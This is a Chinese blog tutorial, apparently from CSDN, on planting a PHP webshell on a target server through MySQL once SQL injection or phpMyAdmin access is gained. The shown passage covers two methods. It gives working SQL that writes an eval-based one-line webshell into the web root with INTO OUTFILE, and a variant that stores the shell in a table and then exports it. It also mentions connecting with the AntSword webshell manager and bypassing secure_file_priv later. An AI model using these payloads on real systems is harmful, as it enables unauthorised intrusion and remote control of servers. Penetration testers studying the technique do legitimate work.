写入mysql_通过MySQL写入webshell的几种方式

最新推荐文章于 2023-12-19 20:36:52 发布

weixin_39872872

最新推荐文章于 2023-12-19 20:36:52 发布

阅读量3.7k

点赞数 4

文章标签：写入mysql

本文链接：https://blog.csdn.net/weixin_39872872/article/details/112589789

版权

本文详细介绍了四种通过MySQL数据库写入webshell的方法，包括使用outfile、直接写入表、开启全局日志和慢查询日志，以及利用CVE漏洞。通过这些方法，可以在具备SQL注入条件的情况下，绕过某些限制，成功部署webshell。

摘要由CSDN通过智能技术生成

当我们通过测试发现SQL注入，或拿到像phpMyAdmin之类的web数据库可视化管理工具，并想要进行下一步渗透的时候，可通过数据库写入webshell到目标服务器上，利用webshell管理工具控制目标服务器。下面将讲述几个通过MySQL数据库写入webshell的方法，以拿到phpMyAdmin为例。

-01-

通过outfile写入shell

利用条件：

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell：

select '<?php  @eval($_POST[1]);?>' into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

使用蚁剑进行连接：

在写入的时候可能会出现如下错误：

这是由于在高版本的MySQL添加了个叫secure_file_priv的参数，导致我们无法导出文件，在后面会讲解如何绕过secure_file_priv，前一部分假设具有导出权限

-02-

将shell写入表中

利用条件：

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell：

将shell插入一个表中insert into `sxss`(`comment`) values ('<?php  @eval($_POST[1]);?>');查询该数据表，将结果导出文件select comment from sxss into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';